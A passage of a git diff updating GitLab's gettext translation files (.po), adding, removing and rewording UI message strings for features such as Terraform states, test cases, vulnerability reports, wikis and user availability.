msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index d3c6b25a8e1..13a34ee1d3f 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:44\n"
+"PO-Revision-Date: 2020-12-03 08:13\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -85,6 +85,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -184,18 +190,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d greška"
msgstr[1] "%d greške"
msgstr[2] "%d grešaka"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] ""
@@ -406,22 +412,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -505,6 +502,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -577,21 +577,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -607,9 +613,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -625,13 +628,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -664,9 +667,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -769,37 +769,13 @@ msgstr[2] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
